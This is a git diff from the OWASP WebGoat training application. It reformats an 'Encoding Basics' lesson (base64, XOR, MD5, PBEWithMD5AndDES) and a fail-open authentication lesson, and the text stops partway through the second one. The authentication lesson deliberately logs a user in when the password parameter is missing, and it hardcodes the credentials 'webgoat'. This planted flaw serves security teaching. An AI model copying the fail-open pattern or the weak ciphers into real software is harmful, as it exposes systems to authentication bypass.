+ * Returns the base 64 encoding of a string. + * + * @param str + * Description of the Parameter + * @return Description of the Return Value + */ - public static String base64Encode(String str) - { + public static String base64Encode(String str) + { - byte[] b = str.getBytes(); + byte[] b = str.getBytes(); - return (encoder.encode(b)); - } + return (encoder.encode(b)); + } - /** - * Description of the Method - * - * @param b - * Description of the Parameter - * @return Description of the Return Value - */ + /** + * Description of the Method + * + * @param b + * Description of the Parameter + * @return Description of the Return Value + */ - public static String base64Encode(byte[] b) - { + public static String base64Encode(byte[] b) + { - return (encoder.encode(b)); - } + return (encoder.encode(b)); + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ - protected Element createContent(WebSession s) - { + protected Element createContent(WebSession s) + { - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - try - { + try + { - String userInput = s.getParser().getRawParameter(INPUT, ""); + String userInput = s.getParser().getRawParameter(INPUT, ""); - String userKey = s.getParser().getStringParameter(KEY, ""); + String userKey = s.getParser().getStringParameter(KEY, ""); - Table table = new Table(); + Table table = new Table(); - TR tr = new TR(); + TR tr = new TR(); - tr.addElement(new TD("Enter a string: ")); + tr.addElement(new TD("Enter a string: ")); - Input input = new Input(Input.TEXT, INPUT, userInput); + Input input = new Input(Input.TEXT, INPUT, userInput); - tr.addElement(new TD().addElement(input)); + tr.addElement(new TD().addElement(input)); - table.addElement(tr); + table.addElement(tr); - tr = new TR(); + tr = new TR(); - tr.addElement(new TD("Enter a password (optional): ")); + tr.addElement(new TD("Enter a password (optional): ")); - Input key = new Input(Input.TEXT, KEY, userKey); + Input key = new Input(Input.TEXT, KEY, userKey); - tr.addElement(new TD().addElement(key)); + tr.addElement(new TD().addElement(key)); - table.addElement(tr); + table.addElement(tr); - tr = new TR(); + tr = new TR(); - Element b = ECSFactory.makeButton("Go!"); + Element b = ECSFactory.makeButton("Go!"); - tr.addElement(new TD().setAlign("center").setColSpan(2).addElement(b)); + tr.addElement(new TD().setAlign("center").setColSpan(2).addElement(b)); - table.addElement(tr); + table.addElement(tr); - ec.addElement(table); + ec.addElement(table); - ec.addElement(new P()); + ec.addElement(new P()); - Table t = new Table(); + Table t = new Table(); - t.setWidth("100%"); + t.setWidth("100%"); - t.setBorder(0); + t.setBorder(0); - t.setCellSpacing(1); + t.setCellSpacing(1); - t.setCellPadding(4); + t.setCellPadding(4); - String description; + String description; - t.addElement(makeTitleRow("Description", "Encoded", "Decoded")); + t.addElement(makeTitleRow("Description", "Encoded", "Decoded")); - description = "Base64 encoding is a simple reversable encoding used to encode bytes into ASCII characters. Useful for making bytes into a printable string, but provides no security."; + description = "Base64 encoding is a simple reversable encoding used to encode bytes into ASCII characters. Useful for making bytes into a printable string, but provides no security."; - // t.addElement( makeDescriptionRow( description ) ); - t.addElement(makeRow(description, base64Encode(userInput), base64Decode(userInput))); - // t.addElement( makeSpacerRow() ); + // t.addElement( makeDescriptionRow( description ) ); + t.addElement(makeRow(description, base64Encode(userInput), base64Decode(userInput))); + // t.addElement( makeSpacerRow() ); - description = "Entity encoding uses special sequences like &amp; for special characters. This prevents these characters from being interpreted by most interpreters."; + description = "Entity encoding uses special sequences like &amp; for special characters. This prevents these characters from being interpreted by most interpreters."; - t.addElement(makeRow(description, HtmlEncoder.encode(userInput), HtmlEncoder.decode(userInput))); + t.addElement(makeRow(description, HtmlEncoder.encode(userInput), HtmlEncoder.decode(userInput))); - description = "Password based encryption (PBE) is strong encryption with a text password. Cannot be decrypted without the password"; + description = "Password based encryption (PBE) is strong encryption with a text password. Cannot be decrypted without the password"; - t.addElement(makeRow(description, encryptString(userInput, userKey), decryptString(userInput, userKey))); - description = "MD5 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes. For obscure cryptographic reasons, it is better to use SHA-256 if you have a choice."; + t.addElement(makeRow(description, encryptString(userInput, userKey), decryptString(userInput, userKey))); + description = "MD5 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes. For obscure cryptographic reasons, it is better to use SHA-256 if you have a choice."; - t.addElement(makeRow(description, hashMD5(userInput), "Cannot reverse a hash")); + t.addElement(makeRow(description, hashMD5(userInput), "Cannot reverse a hash")); - description = "SHA-256 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes."; + description = "SHA-256 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes."; - t.addElement(makeRow(description, hashSHA(userInput), "N/A")); + t.addElement(makeRow(description, hashSHA(userInput), "N/A")); - description = "Unicode encoding is..."; + description = "Unicode encoding is..."; - t.addElement(makeRow(description, "Not Implemented", "Not Implemented")); + t.addElement(makeRow(description, "Not Implemented", "Not Implemented")); - description = "URL encoding is..."; + description = "URL encoding is..."; - t.addElement(makeRow(description, urlEncode(userInput), urlDecode(userInput))); + t.addElement(makeRow(description, urlEncode(userInput), urlDecode(userInput))); - description = "Hex encoding simply encodes bytes into %xx format."; + description = "Hex encoding simply encodes bytes into %xx format."; - t.addElement(makeRow(description, hexEncode(userInput), hexDecode(userInput))); + t.addElement(makeRow(description, hexEncode(userInput), hexDecode(userInput))); - description = "Rot13 encoding is a way to make text unreadable, but is easily reversed and provides no security."; + description = "Rot13 encoding is a way to make text unreadable, but is easily reversed and provides no security."; - t.addElement(makeRow(description, rot13(userInput), rot13(userInput))); + t.addElement(makeRow(description, rot13(userInput), rot13(userInput))); - description = "XOR with password encoding is a weak encryption scheme that mixes a password into data."; + description = "XOR with password encoding is a weak encryption scheme that mixes a password into data."; - t.addElement(makeRow(description, xorEncode(userInput, userKey), xorDecode(userInput, userKey))); + t.addElement(makeRow(description, xorEncode(userInput, userKey), xorDecode(userInput, userKey))); - description = "Double unicode encoding is..."; + description = "Double unicode encoding is..."; - t.addElement(makeRow(description, "Not Implemented", "Not Implemented")); + t.addElement(makeRow(description, "Not Implemented", "Not Implemented")); - description = "Double URL encoding is..."; + description = "Double URL encoding is..."; - t.addElement(makeRow(description, urlEncode(urlEncode(userInput)), urlDecode(urlDecode(userInput)))); + t.addElement(makeRow(description, urlEncode(urlEncode(userInput)), urlDecode(urlDecode(userInput)))); - ec.addElement(t); + ec.addElement(t); - } + } - catch (Exception e) - { + catch (Exception e) + { - s.setMessage("Error generating " + this.getClass().getName()); + s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); + e.printStackTrace(); - } + } - if (getLessonTracker(s).getNumVisits() > 3) - { - makeSuccess(s); - } + if (getLessonTracker(s).getNumVisits() > 3) + { + makeSuccess(s); + } - return (ec); - } + return (ec); + } - /** - * Convenience method for encrypting a string. - * - * @param str - * Description of the Parameter - * @param pw - * Description of the Parameter - * @return String the encrypted string. - */ + /** + * Convenience method for encrypting a string. + * + * @param str + * Description of the Parameter + * @param pw + * Description of the Parameter + * @return String the encrypted string. + */ - public static synchronized String decryptString(String str, String pw) - { + public static synchronized String decryptString(String str, String pw) + { - try - { + try + { - PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec(salt, 20); + PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec(salt, 20); - SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES"); + SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES"); - Cipher passwordDecryptCipher = Cipher.getInstance("PBEWithMD5AndDES/CBC/PKCS5Padding"); + Cipher passwordDecryptCipher = Cipher.getInstance("PBEWithMD5AndDES/CBC/PKCS5Padding"); - char[] pass = pw.toCharArray(); + char[] pass = pw.toCharArray(); - SecretKey k = kf.generateSecret(new javax.crypto.spec.PBEKeySpec(pass)); + SecretKey k = kf.generateSecret(new javax.crypto.spec.PBEKeySpec(pass)); - passwordDecryptCipher.init(Cipher.DECRYPT_MODE, k, ps); + passwordDecryptCipher.init(Cipher.DECRYPT_MODE, k, ps); - byte[] dec = decoder.decodeBuffer(str); + byte[] dec = decoder.decodeBuffer(str); - byte[] utf8 = passwordDecryptCipher.doFinal(dec); + byte[] utf8 = passwordDecryptCipher.doFinal(dec); - return new String(utf8, "UTF-8"); - } + return new String(utf8, "UTF-8"); + } - catch (Exception e) - { + catch (Exception e) + { - return ("This is not an encrypted string"); - } + return ("This is not an encrypted string"); + } - } + } - /** - * Convenience method for encrypting a string. - * - * @param str - * Description of the Parameter - * @param pw - * Description of the Parameter - * @return String the encrypted string. - * @exception SecurityException - * Description of the Exception - */ + /** + * Convenience method for encrypting a string. + * + * @param str + * Description of the Parameter + * @param pw + * Description of the Parameter + * @return String the encrypted string. + * @exception SecurityException + * Description of the Exception + */ - public static synchronized String encryptString(String str, String pw) throws SecurityException - { + public static synchronized String encryptString(String str, String pw) throws SecurityException + { - try - { + try + { - PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec(salt, 20); + PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec(salt, 20); - SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES"); + SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES"); - Cipher passwordEncryptCipher = Cipher.getInstance("PBEWithMD5AndDES/CBC/PKCS5Padding"); + Cipher passwordEncryptCipher = Cipher.getInstance("PBEWithMD5AndDES/CBC/PKCS5Padding"); - char[] pass = pw.toCharArray(); + char[] pass = pw.toCharArray(); - SecretKey k = kf.generateSecret(new javax.crypto.spec.PBEKeySpec(pass)); + SecretKey k = kf.generateSecret(new javax.crypto.spec.PBEKeySpec(pass)); - passwordEncryptCipher.init(Cipher.ENCRYPT_MODE, k, ps); + passwordEncryptCipher.init(Cipher.ENCRYPT_MODE, k, ps); - byte[] utf8 = str.getBytes("UTF-8"); + byte[] utf8 = str.getBytes("UTF-8"); - byte[] enc = passwordEncryptCipher.doFinal(utf8); + byte[] enc = passwordEncryptCipher.doFinal(utf8); - return encoder.encode(enc); - } + return encoder.encode(enc); + } - catch (Exception e) - { + catch (Exception e) + { - return ("Encryption error"); - } + return ("Encryption error"); + } - } + } - /** - * Gets the category attribute of the Encoding object - * - * @return The category value - */ - - protected Category getDefaultCategory() - { - return Category.INSECURE_STORAGE; - } - - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - - public List getHints(WebSession s) - { - - List hints = new ArrayList(); - hints.add("Enter a string and press 'go'"); - hints.add("Enter 'abc' and notice the rot13 encoding is 'nop' ( increase each letter by 13 characters )."); - hints.add("Enter 'a c' and notice the url encoding is 'a+c' ( ' ' is converted to '+' )."); - return hints; - } - - /** - * Gets the instructions attribute of the Encoding object - * - * @return The instructions value - */ - - public String getInstructions(WebSession s) - { - return "This lesson will familiarize the user with different encoding schemes. "; - } - - private final static Integer DEFAULT_RANKING = new Integer(15); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - - public String getTitle() - { - return ("Encoding Basics"); - } - - /** - * Returns the MD5 hash of a String. - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String hashMD5(String str) - { - - byte[] b = str.getBytes(); - MessageDigest md = null; - - try - { - md = MessageDigest.getInstance("MD5"); - md.update(b); - } catch (NoSuchAlgorithmException e) - { - // it's got to be there - e.printStackTrace(); - } - return (base64Encode(md.digest())); - } - - /** - * Returns the SHA hash of a String. - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String hashSHA(String str) - { - byte[] b = str.getBytes(); - MessageDigest md = null; - try - { - md = MessageDigest.getInstance("SHA-256"); - md.update(b); - } catch (NoSuchAlgorithmException e) - { - // it's got to be there - e.printStackTrace(); - } - return (base64Encode(md.digest())); - } - - /** - * Description of the Method - * - * @param hexString - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String hexDecode(String hexString) - { - try - { - if ((hexString.length() % 3) != 0) { return ("String not comprised of Hex digit pairs."); } - char[] chars = new char[hexString.length()]; - char[] convChars = new char[hexString.length() / 3]; - hexString.getChars(0, hexString.length(), chars, 0); - for (int i = 1; i < hexString.length(); i += 3) - { - String hexToken = new String(chars, i, 2); - convChars[i / 3] = (char) Integer.parseInt(hexToken, 16); - } - return new String(convChars); - } catch (NumberFormatException nfe) - { - return ("String not comprised of Hex digits"); - } - } - - /** - * Description of the Method - * - * @param asciiString - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String hexEncode(String asciiString) - { - char[] ascii = new char[asciiString.length()]; - asciiString.getChars(0, asciiString.length(), ascii, 0); - StringBuffer hexBuff = new StringBuffer(); - for (int i = 0; i < asciiString.length(); i++) - { - hexBuff.append("%"); - hexBuff.append(Integer.toHexString(ascii[i])); - } - return hexBuff.toString().toUpperCase(); - } - - /** - * The main program for the Encoding class - * - * @param args - * The command line arguments - */ - - public static void main(String[] args) - { - try - { - String userInput = args[0]; - String userKey = args[1]; - System.out.println("Working with: " + userInput); - System.out.print("Base64 encoding: "); - System.out.println(base64Encode(userInput) + " : " + base64Decode(userInput)); - System.out.print("Entity encoding: "); - System.out.println(HtmlEncoder.encode(userInput) + " : " + HtmlEncoder.decode(userInput)); - System.out.print("Password based encryption (PBE): "); - System.out.println(encryptString(userInput, userKey) + " : " + decryptString(userInput, userKey)); - System.out.print("MD5 hash: "); - System.out.println(hashMD5(userInput) + " : " + "Cannot reverse a hash"); - System.out.print("SHA-256 hash: "); - System.out.println(hashSHA(userInput) + " : " + "Cannot reverse a hash"); - System.out.print("Unicode encoding: "); - System.out.println("Not Implemented" + " : " + "Not Implemented"); - System.out.print("URL encoding: "); - System.out.println(urlEncode(userInput) + " : " + urlDecode(userInput)); - System.out.print("Hex encoding: "); - System.out.println(hexEncode(userInput) + " : " + hexDecode(userInput)); - System.out.print("Rot13 encoding: "); - System.out.println(rot13(userInput) + " : " + rot13(userInput)); - System.out.print("XOR with password: "); - System.out.println(xorEncode(userInput, userKey) + " : " + xorDecode(userInput, userKey)); - System.out.print("Double unicode encoding is..."); - System.out.println("Not Implemented" + " : " + "Not Implemented"); - System.out.print("Double URL encoding: "); - System.out.println(urlEncode(urlEncode(userInput)) + " : " + urlDecode(urlDecode(userInput))); - } catch (Exception e) - { - e.printStackTrace(); - } - } - - /** - * Description of the Method - * - * @param value1 - * Description of the Parameter - * @param value2 - * Description of the Parameter - * @param description - * Description of the Parameter - * @return Description of the Return Value - */ - - private TR makeRow(String description, String value1, String value2) - { - - TD desc = new TD().addElement(description).setBgColor("#bbbbbb"); - TD val1 = new TD() - .addElement(new Div().addElement(value1).setStyle("overflow:auto; height:60px; width:100px;")) - .setBgColor("#dddddd"); - TD val2 = new TD() - .addElement(new Div().addElement(value2).setStyle("overflow:auto; height:60px; width:100px;")) - .setBgColor("#dddddd"); - TR tr = new TR(); - - tr.addElement(desc); - tr.addElement(val1); - tr.addElement(val2); - - return tr; - } - - /** - * Description of the Method - * - * @param value1 - * Description of the Parameter - * @param value2 - * Description of the Parameter - * @param description - * Description of the Parameter - * @return Description of the Return Value - */ - - private TR makeTitleRow(String description, String value1, String value2) - { - TD desc = new TD().addElement(new B().addElement(description)); - TD val1 = new TD().addElement(new B().addElement(value1)); - TD val2 = new TD().addElement(new B().addElement(value2)); - desc.setAlign("center"); - val1.setAlign("center"); - val2.setAlign("center"); - TR tr = new TR(); - tr.addElement(desc); - tr.addElement(val1); - tr.addElement(val2); - return (tr); - } - - /** - * Description of the Method - * - * @param input - * Description of the Parameter - * @return Description of the Return Value - */ - - public static synchronized String rot13(String input) - { - StringBuffer output = new StringBuffer(); - if (input != null) - { - for (int i = 0; i < input.length(); i++) - { - char inChar = input.charAt(i); - if ((inChar >= 'A') & (inChar <= 'Z')) - { - inChar += 13; - if (inChar > 'Z') - { - inChar -= 26; - } - } - if ((inChar >= 'a') & (inChar <= 'z')) - { - inChar += 13; - if (inChar > 'z') - { - inChar -= 26; - } - } - output.append(inChar); - } - } - return output.toString(); - } - - /** - * Description of the Method - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String unicodeDecode(String str) - { - // FIXME: TOTALLY EXPERIMENTAL - - try - { - ByteBuffer bbuf = ByteBuffer.allocate(str.length()); - bbuf.put(str.getBytes()); - Charset charset = Charset.forName("ISO-8859-1"); - CharsetDecoder decoder = charset.newDecoder(); - CharBuffer cbuf = decoder.decode(bbuf); - return (cbuf.toString()); - } catch (Exception e) - { - return ("Encoding problem"); - } - } - - /** - * Description of the Method - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String unicodeEncode(String str) - { - // FIXME: TOTALLY EXPERIMENTAL - try - { - Charset charset = Charset.forName("ISO-8859-1"); - CharsetEncoder encoder = charset.newEncoder(); - ByteBuffer bbuf = encoder.encode(CharBuffer.wrap(str)); - return (new String(bbuf.array())); - } catch (Exception e) - { - return ("Encoding problem"); - } - } - - /** - * Description of the Method - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String urlDecode(String str) - { - try - { - return (URLDecoder.decode(str, "UTF-8")); - } catch (Exception e) - { - return ("Decoding error"); - } - } - - /** - * Description of the Method - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ - - public static String urlEncode(String str) - { - try - { - return (URLEncoder.encode(str, "UTF-8")); - } catch (Exception e) - { - return ("Encoding error"); - } - } - - /** - * Description of the Method - * - * @param input - * Description of the Parameter - * @param userKey - * Description of the Parameter - * @return Description of the Return Value - */ - - public static synchronized char[] xor(String input, String userKey) - { - if ((userKey == null) || (userKey.trim().length() == 0)) - { - userKey = "Goober"; - } - char[] xorChars = userKey.toCharArray(); - int keyLen = xorChars.length; - char[] inputChars = null; - char[] outputChars = null; - if (input != null) - { - inputChars = input.toCharArray(); - outputChars = new char[inputChars.length]; - for (int i = 0; i < inputChars.length; i++) - { - outputChars[i] = (char) (inputChars[i] ^ xorChars[i % keyLen]); - } - } - return outputChars; - } - - /** - * Description of the Method - * - * @param input - * Description of the Parameter - * @param userKey - * Description of the Parameter - * @return Description of the Return Value - */ - - public static synchronized String xorDecode(String input, String userKey) - { - try - { - String decoded = base64Decode(input); - return new String(xor(decoded, userKey)); - } catch (Exception e) - { - return "String not XOR encoded."; - } - } - - /** - * Description of the Method - * - * @param input - * Description of the Parameter - * @param userKey - * Description of the Parameter - * @return Description of the Return Value - */ - - public static synchronized String xorEncode(String input, String userKey) - { - return base64Encode(xor(input, userKey)); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + /** + * Gets the category attribute of the Encoding object + * + * @return The category value + */ + + protected Category getDefaultCategory() + { + return Category.INSECURE_STORAGE; + } + + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + + public List getHints(WebSession s) + { + + List hints = new ArrayList(); + hints.add("Enter a string and press 'go'"); + hints.add("Enter 'abc' and notice the rot13 encoding is 'nop' ( increase each letter by 13 characters )."); + hints.add("Enter 'a c' and notice the url encoding is 'a+c' ( ' ' is converted to '+' )."); + return hints; + } + + /** + * Gets the instructions attribute of the Encoding object + * + * @return The instructions value + */ + + public String getInstructions(WebSession s) + { + return "This lesson will familiarize the user with different encoding schemes. "; + } + + private final static Integer DEFAULT_RANKING = new Integer(15); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + + public String getTitle() + { + return ("Encoding Basics"); + } + + /** + * Returns the MD5 hash of a String. + * + * @param str + * Description of the Parameter + * @return Description of the Return Value + */ + + public static String hashMD5(String str) + { + + byte[] b = str.getBytes(); + MessageDigest md = null; + + try + { + md = MessageDigest.getInstance("MD5"); + md.update(b); + } catch (NoSuchAlgorithmException e) + { + // it's got to be there + e.printStackTrace(); + } + return (base64Encode(md.digest())); + } + + /** + * Returns the SHA hash of a String. + * + * @param str + * Description of the Parameter + * @return Description of the Return Value + */ + + public static String hashSHA(String str) + { + byte[] b = str.getBytes(); + MessageDigest md = null; + try + { + md = MessageDigest.getInstance("SHA-256"); + md.update(b); + } catch (NoSuchAlgorithmException e) + { + // it's got to be there + e.printStackTrace(); + } + return (base64Encode(md.digest())); + } + + /** + * Description of the Method + * + * @param hexString + * Description of the Parameter + * @return Description of the Return Value + */ + + public static String hexDecode(String hexString) + { + try + { + if ((hexString.length() % 3) != 0) { return ("String not comprised of Hex digit pairs."); } + char[] chars = new char[hexString.length()]; + char[] convChars = new char[hexString.length() / 3]; + hexString.getChars(0, hexString.length(), chars, 0); + for (int i = 1; i < hexString.length(); i += 3) + { + String hexToken = new String(chars, i, 2); + convChars[i / 3] = (char) Integer.parseInt(hexToken, 16); + } + return new String(convChars); + } catch (NumberFormatException nfe) + { + return ("String not comprised of Hex digits"); + } + } + + /** + * Description of the Method + * + * @param asciiString + * Description of the Parameter + * @return Description of the Return Value + */ + + public static String hexEncode(String asciiString) + { + char[] ascii = new char[asciiString.length()]; + asciiString.getChars(0, asciiString.length(), ascii, 0); + StringBuffer hexBuff = new StringBuffer(); + for (int i = 0; i < asciiString.length(); i++) + { + hexBuff.append("%"); + hexBuff.append(Integer.toHexString(ascii[i])); + } + return hexBuff.toString().toUpperCase(); + } + + /** + * The main program for the Encoding class + * + * @param args + * The command line arguments + */ + + public static void main(String[] args) + { + try + { + String userInput = args[0]; + String userKey = args[1]; + System.out.println("Working with: " + userInput); + System.out.print("Base64 encoding: "); + System.out.println(base64Encode(userInput) + " : " + base64Decode(userInput)); + System.out.print("Entity encoding: "); + System.out.println(HtmlEncoder.encode(userInput) + " : " + HtmlEncoder.decode(userInput)); + System.out.print("Password based encryption (PBE): "); + System.out.println(encryptString(userInput, userKey) + " : " + decryptString(userInput, userKey)); + System.out.print("MD5 hash: "); + System.out.println(hashMD5(userInput) + " : " + "Cannot reverse a hash"); + System.out.print("SHA-256 hash: "); + System.out.println(hashSHA(userInput) + " : " + "Cannot reverse a hash"); + System.out.print("Unicode encoding: "); + System.out.println("Not Implemented" + " : " + "Not Implemented"); + System.out.print("URL encoding: "); + System.out.println(urlEncode(userInput) + " : " + urlDecode(userInput)); + System.out.print("Hex encoding: "); + System.out.println(hexEncode(userInput) + " : " + hexDecode(userInput)); + System.out.print("Rot13 encoding: "); + System.out.println(rot13(userInput) + " : " + rot13(userInput)); + System.out.print("XOR with password: "); + System.out.println(xorEncode(userInput, userKey) + " : " + xorDecode(userInput, userKey)); + System.out.print("Double unicode encoding is..."); + System.out.println("Not Implemented" + " : " + "Not Implemented"); + System.out.print("Double URL encoding: "); + System.out.println(urlEncode(urlEncode(userInput)) + " : " + urlDecode(urlDecode(userInput))); + } catch (Exception e) + { + e.printStackTrace(); + } + } + + /** + * Description of the Method + * + * @param value1 + * Description of the Parameter + * @param value2 + * Description of the Parameter + * @param description + * Description of the Parameter + * @return Description of the Return Value + */ + + private TR makeRow(String description, String value1, String value2) + { + + TD desc = new TD().addElement(description).setBgColor("#bbbbbb"); + TD val1 = new TD() + .addElement(new Div().addElement(value1).setStyle("overflow:auto; height:60px; width:100px;")) + .setBgColor("#dddddd"); + TD val2 = new TD() + .addElement(new Div().addElement(value2).setStyle("overflow:auto; height:60px; width:100px;")) + .setBgColor("#dddddd"); + TR tr = new TR(); + + tr.addElement(desc); + tr.addElement(val1); + tr.addElement(val2); + + return tr; + } + + /** + * Description of the Method + * + * @param value1 + * Description of the Parameter + * @param value2 + * Description of the Parameter + * @param description + * Description of the Parameter + * @return Description of the Return Value + */ + + private TR makeTitleRow(String description, String value1, String value2) + { + TD desc = new TD().addElement(new B().addElement(description)); + TD val1 = new TD().addElement(new B().addElement(value1)); + TD val2 = new TD().addElement(new B().addElement(value2)); + desc.setAlign("center"); + val1.setAlign("center"); + val2.setAlign("center"); + TR tr = new TR(); + tr.addElement(desc); + tr.addElement(val1); + tr.addElement(val2); + return (tr); + } + + /** + * Description of the Method + * + * @param input + * Description of the Parameter + * @return Description of the Return Value + */ + + public static synchronized String rot13(String input) + { + StringBuffer output = new StringBuffer(); + if (input != null) + { + for (int i = 0; i < input.length(); i++) + { + char inChar = input.charAt(i); + if ((inChar >= 'A') & (inChar <= 'Z')) + { + inChar += 13; + if (inChar > 'Z') + { + inChar -= 26; + } + } + if ((inChar >= 'a') & (inChar <= 'z')) + { + inChar += 13; + if (inChar > 'z') + { + inChar -= 26; + } + } + output.append(inChar); + } + } + return output.toString(); + } + + /** + * Description of the Method + * + * @param str + * Description of the Parameter + * @return Description of the Return Value + */ + + public static String unicodeDecode(String str) + { + // FIXME: TOTALLY EXPERIMENTAL + + try + { + ByteBuffer bbuf = ByteBuffer.allocate(str.length()); + bbuf.put(str.getBytes()); + Charset charset = Charset.forName("ISO-8859-1"); + CharsetDecoder decoder = charset.newDecoder(); + CharBuffer cbuf = decoder.decode(bbuf); + return (cbuf.toString()); + } catch (Exception e) + { + return ("Encoding problem"); + } + } + + /** + * Description of the Method + * + * @param str + * Description of the Parameter + * @return Description of the Return Value + */ + + public static String unicodeEncode(String str) + { + // FIXME: TOTALLY EXPERIMENTAL + try + { + Charset charset = Charset.forName("ISO-8859-1"); + CharsetEncoder encoder = charset.newEncoder(); + ByteBuffer bbuf = encoder.encode(CharBuffer.wrap(str)); + return (new String(bbuf.array())); + } catch (Exception e) + { + return ("Encoding problem"); + } + } + + /** + * Description of the Method + * + * @param str + * Description of the Parameter + * @return Description of the Return Value + */ + + public static String urlDecode(String str) + { + try + { + return (URLDecoder.decode(str, "UTF-8")); + } catch (Exception e) + { + return ("Decoding error"); + } + } + + /** + * Description of the Method + * + * @param str + * Description of the Parameter + * @return Description of the Return Value + */ + + public static String urlEncode(String str) + { + try + { + return (URLEncoder.encode(str, "UTF-8")); + } catch (Exception e) + { + return ("Encoding error"); + } + } + + /** + * Description of the Method + * + * @param input + * Description of the Parameter + * @param userKey + * Description of the Parameter + * @return Description of the Return Value + */ + + public static synchronized char[] xor(String input, String userKey) + { + if ((userKey == null) || (userKey.trim().length() == 0)) + { + userKey = "Goober"; + } + char[] xorChars = userKey.toCharArray(); + int keyLen = xorChars.length; + char[] inputChars = null; + char[] outputChars = null; + if (input != null) + { + inputChars = input.toCharArray(); + outputChars = new char[inputChars.length]; + for (int i = 0; i < inputChars.length; i++) + { + outputChars[i] = (char) (inputChars[i] ^ xorChars[i % keyLen]); + } + } + return outputChars; + } + + /** + * Description of the Method + * + * @param input + * Description of the Parameter + * @param userKey + * Description of the Parameter + * @return Description of the Return Value + */ + + public static synchronized String xorDecode(String input, String userKey) + { + try + { + String decoded = base64Decode(input); + return new String(xor(decoded, userKey)); + } catch (Exception e) + { + return "String not XOR encoded."; + } + } + + /** + * Description of the Method + * + * @param input + * Description of the Parameter + * @param userKey + * Description of the Parameter + * @return Description of the Return Value + */ + + public static synchronized String xorEncode(String input, String userKey) + { + return base64Encode(xor(input, userKey)); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/FailOpenAuthentication.java b/src/main/java/org/owasp/webgoat/lessons/FailOpenAuthentication.java index 8d24d7bca..d464d9646 100644 --- a/src/main/java/org/owasp/webgoat/lessons/FailOpenAuthentication.java +++ b/src/main/java/org/owasp/webgoat/lessons/FailOpenAuthentication.java @@ -41,144 +41,145 @@ import org.owasp.webgoat.session.WebSession; */ public class FailOpenAuthentication extends WeakAuthenticationCookie { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - boolean logout = s.getParser().getBooleanParameter(LOGOUT, false); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + boolean logout = s.getParser().getBooleanParameter(LOGOUT, false); - if (logout) - { - s.setMessage("Goodbye!"); - s.eatCookies(); + if (logout) + { + s.setMessage("Goodbye!"); + s.eatCookies(); - return (makeLogin(s)); - } + return (makeLogin(s)); + } - try - { - String username = ""; - String password = ""; + try + { + String username = ""; + String password = ""; - try - { - username = s.getParser().getRawParameter(USERNAME); - password = s.getParser().getRawParameter(PASSWORD); + try + { + username = s.getParser().getRawParameter(USERNAME); + password = s.getParser().getRawParameter(PASSWORD); - // if credentials are bad, send the login page - if (!"webgoat".equals(username) || !password.equals("webgoat")) - { - s.setMessage("Invalid username and password entered."); + // if credentials are bad, send the login page + if (!"webgoat".equals(username) || !password.equals("webgoat")) + { + s.setMessage("Invalid username and password entered."); - return (makeLogin(s)); - } - } catch (Exception e) - { - // The parameter was omitted. set fail open status complete - if (username.length() > 0 && e.getMessage().indexOf("not found") != -1) - { - if ((username != null) && (username.length() > 0)) - { - makeSuccess(s); - return (makeUser(s, username, "Fail Open Error Handling")); - } - } - } + return (makeLogin(s)); + } + } catch (Exception e) + { + // The parameter was omitted. set fail open status complete + if (username.length() > 0 && e.getMessage().indexOf("not found") != -1) + { + if ((username != null) && (username.length() > 0)) + { + makeSuccess(s); + return (makeUser(s, username, "Fail Open Error Handling")); + } + } + } - // Don't let the fail open pass with a blank password. - if (password.length() == 0) - { - // We make sure the username was submitted to avoid telling the user an invalid - // username/password was entered when they first enter the lesson via the side menu. - // This also suppresses the error if they just hit the login and both fields are - // empty. - if (username.length() != 0) - { - s.setMessage("Invalid username and password entered."); - } + // Don't let the fail open pass with a blank password. + if (password.length() == 0) + { + // We make sure the username was submitted to avoid telling the user an invalid + // username/password was entered when they first enter the lesson via the side menu. + // This also suppresses the error if they just hit the login and both fields 